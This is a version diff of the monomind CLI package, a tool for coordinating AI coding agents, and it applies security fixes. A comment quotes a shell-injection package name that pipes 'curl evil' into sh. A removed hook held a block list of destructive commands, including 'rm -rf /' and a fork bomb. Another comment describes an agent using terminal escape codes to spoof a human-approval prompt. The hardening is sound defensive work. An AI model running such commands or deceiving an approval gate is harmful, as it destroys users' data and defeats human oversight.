monomind 1.8.0 → 1.9.1

package/packages/@monomind/cli/dist/src/init/helpers-generator.js

@@ -307,8 +307,14 @@ const commands = {
       console.error('Key required');
       return;
     }
+    // Reject prototype-pollution keys: \`memory[key] = value\` with key='__proto__'
+    // performs a prototype-set, polluting Object.prototype for the process.
+    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
+      console.error('Forbidden key');
+      process.exit(2);
+    }
     const memory = loadMemory();
-    memory[key] = value;
+    Object.defineProperty(memory, key, { value, enumerable: true, configurable: true, writable: true });
     memory._updated = new Date().toISOString();
     saveMemory(memory);
     console.log(\`Set: \${key}\`);
@@ -319,6 +325,10 @@ const commands = {
       console.error('Key required');
       return;
     }
+    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
+      console.error('Forbidden key');
+      process.exit(2);
+    }
     const memory = loadMemory();
     delete memory[key];
     saveMemory(memory);
@@ -477,15 +487,11 @@ export function generateHookHandler() {
         '  },',
         '',
         "  'pre-bash': () => {",
-        '    var cmd = prompt.toLowerCase();',
-        "    var dangerous = ['rm -rf /', 'format c:', 'del /s /q c:\\\\', ':(){:|:&};:'];",
-        '    for (var i = 0; i < dangerous.length; i++) {',
-        '      if (cmd.includes(dangerous[i])) {',
-        "        console.error('[BLOCKED] Dangerous command detected: ' + dangerous[i]);",
-        '        process.exit(1);',
-        '      }',
-        '    }',
-        "    console.log('[OK] Command validated');",
+        "    // NOTE: This hook is intentionally NOT a security filter. A 4-substring",
+        "    // check is trivially bypassed (extra spaces, find -delete, dd, bash -c, etc.)",
+        "    // and shipping a fake check creates false confidence. Real safety lives in",
+        "    // Claude Code's permission prompt and sandboxing. Hook is observability-only.",
+        "    console.log('[OK] Command validation delegated to Claude Code permissions');",
         '  },',
         '',
         "  'post-edit': () => {",
@@ -498,18 +504,19 @@ export function generateHookHandler() {
         '        intelligence.recordEdit(file);',
         '      } catch (e) { /* non-fatal */ }',
         '    }',
-        '    // Auto-rebuild graphify knowledge graph for code file changes',
+        '    // Auto-rebuild monograph knowledge graph for code file changes',
         '    try {',
         "      var editedFile = process.env.TOOL_INPUT_file_path || args[0] || '';",
         "      var isCode = /\\.(ts|js|tsx|jsx|py|go|rs|java|c|cpp|h|cs|rb|php|swift|kt|scala)$/.test(editedFile);",
-        "      var graphJson = require('path').join(process.cwd(), 'graphify-out', 'graph.json');",
-        "      if (isCode && require('fs').existsSync(graphJson)) {",
-        "        require('child_process').spawn('python', ['-m', 'graphify', '--update', process.cwd()], {",
-        "          detached: true, stdio: 'ignore', timeout: 30000",
+        "      var dbFile = require('path').join(process.cwd(), '.monomind', 'monograph.db');",
+        "      if (isCode && require('fs').existsSync(dbFile)) {",
+        "        var s = `import { buildAsync } from '@monoes/monograph'; buildAsync(${JSON.stringify(process.cwd())}).catch(()=>{});`;",
+        "        require('child_process').spawn(process.execPath, ['--input-type=module', '--eval', s], {",
+        "          detached: true, stdio: 'ignore'",
         '        }).unref();',
-        "        console.log('[GRAPHIFY] Queued graph rebuild for: ' + require('path').basename(editedFile));",
+        "        console.log('[MONOGRAPH] Queued graph rebuild for: ' + require('path').basename(editedFile));",
         '      }',
-        '    } catch (e) { /* non-fatal — graphify may not be installed */ }',
+        '    } catch (e) { /* non-fatal — monograph may not be installed */ }',
         "    console.log('[OK] Edit recorded');",
         '  },',
         '',
@@ -684,11 +691,13 @@ export function generateIntelligenceStub() {
         '  return text.toLowerCase().replace(/[^a-z0-9\\s]/g, " ").split(/\\s+/).filter(function(w) { return w.length > 2; });',
         '}',
         '',
-        '// Bootstrap entries from MEMORY.md files when store is empty',
+        '// Bootstrap entries from MEMORY.md files when store is empty.',
+        '// SECURITY: ONLY walk the current project. Walking ~/.claude/projects',
+        '// previously caused cross-project memory leakage — entries from project A',
+        '// (potentially containing secrets) would surface in prompts in project B.',
         'function bootstrapFromMemoryFiles() {',
         '  var entries = [];',
         '  var candidates = [',
-        '    path.join(os.homedir(), ".claude", "projects"),',
         '    path.join(process.cwd(), ".monomind", "memory"),',
         '    path.join(process.cwd(), ".claude", "memory"),',
         '  ];',
@@ -934,11 +943,15 @@ function doStatus() {
   console.log('');
 }
 
-// Suppress unhandled rejection warnings from optional dynamic import() failures only
+// Suppress unhandled rejection warnings ONLY for genuine module-not-found from
+// optional dynamic imports. Previously this swallowed any error whose message
+// contained "Cannot find" (e.g. "Cannot find user with id ..."), masking real
+// failures and security regressions.
 process.on('unhandledRejection', (reason) => {
-  // Re-throw anything that isn't a module-not-found error from optional imports
-  if (reason instanceof Error && reason.message.includes('Cannot find')) return;
+  const code = reason && typeof reason === 'object' ? reason.code : undefined;
+  if (code === 'ERR_MODULE_NOT_FOUND' || code === 'MODULE_NOT_FOUND') return;
   if (reason instanceof Error) throw reason;
+  throw new Error(String(reason));
 });
 
 const command = process.argv[2] || 'status';

package/packages/@monomind/cli/dist/src/init/mcp-generator.js

@@ -51,9 +51,9 @@ export function generateMCPConfig(options) {
             MONOMIND_MEMORY_BACKEND: options.runtime.memoryBackend,
         }, { autoStart: config.autoStart });
     }
-    // Graphify knowledge graph — built into monomind MCP server since v1.3.0.
-    // Available as mcp__monomind__graphify_build, graphify_report, graphify_suggest, graphify_health.
-    // No separate server needed — the monomind entry above provides all graphify tools.
+    // Monograph knowledge graph — built into monomind MCP server since v1.8.0.
+    // Available as mcp__monomind__monograph_build, monograph_query, monograph_suggest, monograph_health.
+    // No separate server needed — the monomind entry above provides all monograph tools.
     return { mcpServers };
 }
 /**

package/packages/@monomind/cli/dist/src/init/settings-generator.js

@@ -17,11 +17,18 @@ export function generateSettings(options) {
         settings.statusLine = generateStatusLineConfig(options);
     }
     // Add permissions
+    // SECURITY: tightened allowlist patterns.
+    //   `Bash(npx monomind*)` previously matched any package starting with
+    //   "monomind" (including a hypothetical future typosquat). Anchor to the
+    //   official scope/namespaces only, with an explicit space between command
+    //   tokens so partial-prefix matches are rejected.
     settings.permissions = {
         allow: [
-            'Bash(npx @monoes*)',
-            'Bash(npx monomind*)',
-            'Bash(node .claude/*)',
+            'Bash(npx @monomind/*)',
+            'Bash(npx monomind *)',
+            'Bash(npx -y monomind *)',
+            'Bash(npx monomind@*)',
+            'Bash(node .claude/helpers/*)',
             'mcp__monomind__:*',
         ],
         deny: [

package/packages/@monomind/cli/dist/src/init/shared-instructions-generator.js

@@ -7,7 +7,7 @@
  */
 import * as fs from 'node:fs';
 import * as path from 'node:path';
-import { execSync } from 'node:child_process';
+import { execFileSync } from 'node:child_process';
 function readJSON(p) {
     try {
         return JSON.parse(fs.readFileSync(p, 'utf-8'));
@@ -550,11 +550,26 @@ export function writeSharedInstructions(cwd, force, result) {
         }
         fs.writeFileSync(siPath, content, 'utf-8');
         result.created.files.push('.agents/shared_instructions.md');
-        // Seed memory (best-effort, non-blocking)
+        // Seed memory (best-effort, non-blocking).
+        // SECURITY: previously the seed.key (built from package.json `name`) was
+        // interpolated into a shell command via execSync. A malicious package.json
+        // with a name like `x"; curl evil | sh; #` produced shell injection during
+        // `monomind init`. Switch to execFileSync (array argv, no shell) and
+        // reject seed inputs that don't match a tight regex.
+        const KEY_RE = /^[a-zA-Z0-9._:/-]{1,128}$/;
+        const NS_RE = /^[a-zA-Z0-9_-]{1,64}$/;
         const seeds = generateMemorySeeds(profile);
         for (const seed of seeds) {
+            if (!KEY_RE.test(seed.key) || !NS_RE.test(seed.namespace) || typeof seed.value !== 'string') {
+                continue;
+            }
             try {
-                execSync(`npx --yes monomind@latest memory store --key "${seed.key}" --value ${JSON.stringify(seed.value)} --namespace ${seed.namespace}`, { cwd, stdio: 'ignore', timeout: 8000 });
+                execFileSync('npx', [
+                    '--yes', 'monomind@latest', 'memory', 'store',
+                    '--key', seed.key,
+                    '--value', seed.value,
+                    '--namespace', seed.namespace,
+                ], { cwd, stdio: 'ignore', timeout: 8000 });
             }
             catch {
                 // Non-critical — memory seeding is best-effort

package/packages/@monomind/cli/dist/src/init/statusline-generator.js

@@ -911,7 +911,9 @@ function generateDashboard() {
 
   // ── Header: brand + git + model + session ────────────────────
   const swarmDot = swarm.coordinationActive ? \`\${x.green}● LIVE\${x.reset}\` : \`\${x.slate}○ IDLE\${x.reset}\`;
-  let hdr = \`\${x.bold}\${x.purple}▊ Monomind \${VERSION}\${x.reset}  \${swarmDot}  \${x.teal}\${x.bold}\${git.name}\${x.reset}\`;
+  const projName = getProjectName();
+  const cwdName = path.basename(CWD);
+  let hdr = \`\${x.bold}\${x.purple}▊ Monomind \${VERSION}\${x.reset}  \${swarmDot}  \${x.teal}\${x.bold}\${projName}\${x.reset}  \${DIV}  \${x.dim}◎ \${cwdName}\${x.reset}  \${DIV}  \${x.violet}⬡ \${git.name}\${x.reset}\`;
 
   if (git.gitBranch) {
     hdr += \`  \${DIV}  \${x.sky}⎇ \${x.bold}\${git.gitBranch}\${x.reset}\`;

package/packages/@monomind/cli/dist/src/init/types.d.ts

@@ -24,7 +24,7 @@ export interface InitComponents {
     runtime: boolean;
     /** Create CLAUDE.md with swarm guidance */
     claudeMd: boolean;
-    /** Build knowledge graph on init using graphify (Python) */
+    /** Build knowledge graph on init using monograph (TypeScript) */
     graphify: boolean;
 }
 /**
@@ -64,16 +64,16 @@ export interface HooksConfig {
  * Skills configuration
  */
 export interface SkillsConfig {
-    /** Include core skills (swarm, memory, sparc) */
+    /** Include core skills (swarm, sparc, mastermind, monodesign, monomotion) */
     core: boolean;
     /** Include AgentDB skills */
     agentdb: boolean;
     /** Include GitHub integration skills */
     github: boolean;
-    /** Include browser automation skills (agent-browser) */
+    /** Include browser automation skills */
     browser: boolean;
-    /** Include V1 implementation skills */
-    v1: boolean;
+    /** Include advanced skills (agentic-jujutsu, security, performance, etc.) */
+    advanced: boolean;
     /** Include all available skills */
     all: boolean;
 }
@@ -81,22 +81,50 @@ export interface SkillsConfig {
  * Commands configuration
  */
 export interface CommandsConfig {
-    /** Include core commands */
+    /** Include core commands (mastermind.md, tokens.md, browse.md, sparc.md, ts.md) */
     core: boolean;
+    /** Include agents commands */
+    agents?: boolean;
     /** Include analysis commands */
     analysis: boolean;
     /** Include automation commands */
     automation: boolean;
+    /** Include coordination commands */
+    coordination?: boolean;
     /** Include github commands */
     github: boolean;
+    /** Include hive-mind commands */
+    hiveMind?: boolean;
     /** Include hooks commands */
     hooks: boolean;
+    /** Include mastermind commands */
+    mastermind?: boolean;
+    /** Include memory commands */
+    memory?: boolean;
     /** Include monitoring commands */
     monitoring: boolean;
+    /** Include monograph commands */
+    monograph?: boolean;
+    /** Include monomind commands */
+    monomind?: boolean;
     /** Include optimization commands */
     optimization: boolean;
+    /** Include pair commands */
+    pair?: boolean;
     /** Include SPARC commands */
     sparc: boolean;
+    /** Include stream-chain commands */
+    streamChain?: boolean;
+    /** Include swarm commands */
+    swarm?: boolean;
+    /** Include training commands */
+    training?: boolean;
+    /** Include truth commands */
+    truth?: boolean;
+    /** Include verify commands */
+    verify?: boolean;
+    /** Include workflows commands */
+    workflows?: boolean;
     /** Include all commands */
     all: boolean;
 }
@@ -116,10 +144,6 @@ export interface AgentsConfig {
     sparc: boolean;
     /** Include swarm coordinators */
     swarm: boolean;
-    /** Include browser automation agents (agent-browser) */
-    browser: boolean;
-    /** Include V1-specific agents (security, memory, performance, etc.) */
-    v1: boolean;
     /** Include optimization agents */
     optimization: boolean;
     /** Include testing agents */
@@ -154,7 +178,7 @@ export interface MCPConfig {
     monomind: boolean;
     /** Include ruv-swarm MCP server */
     ruvSwarm: boolean;
-    /** Include graphify knowledge graph MCP server */
+    /** Include monograph knowledge graph MCP server */
     graphify: boolean;
     /** Auto-start MCP server */
     autoStart: boolean;

package/packages/@monomind/cli/dist/src/init/types.js

@@ -76,8 +76,8 @@ export const DEFAULT_INIT_OPTIONS = {
         agentdb: true,
         github: true,
         browser: true,
-        v1: true,
-        all: false,
+        advanced: true,
+        all: true,
     },
     commands: {
         core: true,
@@ -88,7 +88,7 @@ export const DEFAULT_INIT_OPTIONS = {
         monitoring: true,
         optimization: true,
         sparc: true,
-        all: false,
+        all: true,
     },
     agents: {
         core: true,
@@ -97,8 +97,6 @@ export const DEFAULT_INIT_OPTIONS = {
         hiveMind: true,
         sparc: true,
         swarm: true,
-        browser: true,
-        v1: true,
         optimization: true,
         testing: true,
         all: true,
@@ -169,7 +167,7 @@ export const MINIMAL_INIT_OPTIONS = {
         agentdb: false,
         github: false,
         browser: false,
-        v1: false,
+        advanced: false,
         all: false,
     },
     agents: {
@@ -179,8 +177,6 @@ export const MINIMAL_INIT_OPTIONS = {
         hiveMind: false,
         sparc: false,
         swarm: false,
-        browser: false,
-        v1: false,
         optimization: false,
         testing: false,
         all: false,
@@ -227,7 +223,7 @@ export const FULL_INIT_OPTIONS = {
         agentdb: true,
         github: true,
         browser: true,
-        v1: true,
+        advanced: true,
         all: true,
     },
     commands: {

package/packages/@monomind/cli/dist/src/interactive/interrupt.js

@@ -31,11 +31,16 @@ export class InterruptController {
             input: process.stdin,
             output: process.stdout,
         });
+        // Strip control characters from interpolated fields. ANSI escape sequences
+        // in any of these fields would let a malicious agent or LLM-generated task
+        // description redraw the screen and trick the user into approving an
+        // entirely different action than the one shown — defeating this very gate.
+        const safe = (s) => String(s ?? '').replace(/[\x00-\x1f\x7f-\x9f]/g, '?').slice(0, 500);
         console.log('\n' + '='.repeat(60));
         console.log('[MONOMIND] Interrupt — Human approval required');
-        console.log(`  Agent:      ${agentSlug}`);
-        console.log(`  Task:       ${taskDescription}`);
-        console.log(`  Checkpoint: ${checkpointId}`);
+        console.log(`  Agent:      ${safe(agentSlug)}`);
+        console.log(`  Task:       ${safe(taskDescription)}`);
+        console.log(`  Checkpoint: ${safe(checkpointId)}`);
         console.log('='.repeat(60));
         console.log('  Options: [y] approve  [n] reject  [e] edit task');
         return new Promise((resolve) => {

package/packages/@monomind/cli/dist/src/mcp/tool-registry.js

@@ -4,8 +4,8 @@
  * Manages semver versioning for MCP tools with deprecation tracking
  * and tool-to-agent impact analysis. Uses JSONL file storage.
  */
-import { appendFileSync, readFileSync, existsSync, mkdirSync, readdirSync, statSync, } from 'fs';
-import { join, dirname, extname } from 'path';
+import { appendFileSync, readFileSync, existsSync, mkdirSync, readdirSync, lstatSync, } from 'fs';
+import { join, dirname, extname, resolve, sep } from 'path';
 /** Default JSONL storage path relative to project root. */
 const DEFAULT_STORAGE_PATH = '.monomind/tool-versions.jsonl';
 /**
@@ -19,7 +19,14 @@ export class ToolRegistry {
     history = [];
     storagePath;
     constructor(storagePath = DEFAULT_STORAGE_PATH) {
-        this.storagePath = storagePath;
+        const resolvedPath = resolve(storagePath);
+        const allowedRoot = process.env.MONOMIND_DATA_DIR
+            ? resolve(process.env.MONOMIND_DATA_DIR)
+            : resolve(process.cwd());
+        if (resolvedPath !== allowedRoot && !resolvedPath.startsWith(allowedRoot + sep)) {
+            throw new Error(`Tool registry storagePath escapes allowed root: ${resolvedPath}`);
+        }
+        this.storagePath = resolvedPath;
         this.loadFromDisk();
     }
     /**
@@ -94,6 +101,11 @@ export class ToolRegistry {
      * mention the tool name.
      */
     getImpactedAgents(toolName, agentsDir = 'agents') {
+        // Reject empty or short tool names — `content.includes('')` returns true
+        // for every file, turning the registry into a directory enumerator.
+        if (typeof toolName !== 'string' || toolName.length < 2 || !/^[a-zA-Z0-9_.-]+$/.test(toolName)) {
+            return [];
+        }
         const impacted = [];
         const mdFiles = collectMdFiles(agentsDir);
         for (const filePath of mdFiles) {
@@ -144,16 +156,32 @@ export class ToolRegistry {
         catch {
             return;
         }
+        const NAME_RE = /^[a-zA-Z0-9_.-]{1,128}$/;
+        const STR_MAX = 500;
         for (const line of raw.split('\n')) {
             const trimmed = line.trim();
             if (!trimmed)
                 continue;
             try {
                 const record = JSON.parse(trimmed);
+                if (!record || typeof record !== 'object')
+                    continue;
+                // Validate fields before storage. The JSONL file lives on disk; an
+                // attacker with local write access could otherwise plant attacker-controlled
+                // strings (e.g. malicious deprecationMessage with markup) that reach
+                // downstream renderers (DOT visualizer, deprecation-injector warnings).
                 if (record._type === 'tool') {
+                    if (typeof record.toolName !== 'string' || !NAME_RE.test(record.toolName))
+                        continue;
+                    if (record.successor !== undefined && (typeof record.successor !== 'string' || !NAME_RE.test(record.successor)))
+                        continue;
+                    if (record.deprecationMessage !== undefined && (typeof record.deprecationMessage !== 'string' || record.deprecationMessage.length > STR_MAX))
+                        continue;
                     this.tools.set(record.toolName, record);
                 }
                 else if (record._type === 'history') {
+                    if (typeof record.toolName !== 'string' || !NAME_RE.test(record.toolName))
+                        continue;
                     this.history.push(record);
                 }
             }
@@ -195,11 +223,17 @@ function collectMdFiles(root) {
         const full = join(root, entry);
         let stat;
         try {
-            stat = statSync(full);
+            // Use lstatSync so symlinks aren't followed — otherwise a symlink under
+            // `agentsDir` could redirect this scan into arbitrary filesystem
+            // locations, which combined with `getImpactedAgents` becomes a content
+            // oracle that fingerprints arbitrary text files outside the project.
+            stat = lstatSync(full);
         }
         catch {
             continue;
         }
+        if (stat.isSymbolicLink())
+            continue;
         if (stat.isDirectory()) {
             results.push(...collectMdFiles(full));
         }

package/packages/@monomind/cli/dist/src/mcp-client.js

@@ -51,11 +51,17 @@ import { a2aTools } from './mcp-tools/a2a-tools.js';
  * Maps tool names to their handler functions
  */
 const TOOL_REGISTRY = new Map();
-// Register all tools
-function registerTools(tools) {
-    tools.forEach(tool => {
+// Register all tools — refuse silent overrides so a future plugin/IPFS-loaded
+// tool cannot shadow a built-in handler (e.g. `agent_spawn`, `memory_store`)
+// without an explicit override flag. Logical-name collision is a real concern
+// when the plugin system goes live.
+function registerTools(tools, options = {}) {
+    for (const tool of tools) {
+        if (TOOL_REGISTRY.has(tool.name) && !options.override) {
+            throw new Error(`Tool name collision: ${tool.name} already registered`);
+        }
         TOOL_REGISTRY.set(tool.name, tool);
-    });
+    }
 }
 // Initialize registry with all available tools
 registerTools([

package/packages/@monomind/cli/dist/src/mcp-server.d.ts

@@ -13,7 +13,7 @@
  * - Health check: <10ms
  * - Graceful shutdown: <5s
  *
- * @module @monoes/cli/mcp-server
+ * @module @monomind/cli/mcp-server
  * @version 3.0.0
  */
 import { EventEmitter } from 'events';
@@ -58,6 +58,7 @@ export declare class MCPServerManager extends EventEmitter {
     private process?;
     private server?;
     private startTime?;
+    private _stdioServerStarted;
     private healthCheckInterval?;
     constructor(options?: MCPServerOptions);
     /**
@@ -94,7 +95,13 @@ export declare class MCPServerManager extends EventEmitter {
      */
     private handleMCPMessage;
     /**
-     * Start HTTP server in-process
+     * Start HTTP server in-process.
+     *
+     * SECURITY: refuses to bind to non-loopback hosts unless the operator opts
+     * in via MONOMIND_MCP_ALLOW_REMOTE=1 AND provides a bearer token via
+     * MONOMIND_MCP_TOKEN. Without this gate, `--host 0.0.0.0` exposed every
+     * registered tool (including agent_spawn, terminal-tools, system tools) to
+     * any LAN attacker as unauthenticated RCE.
      */
     private startHttpServer;
     /**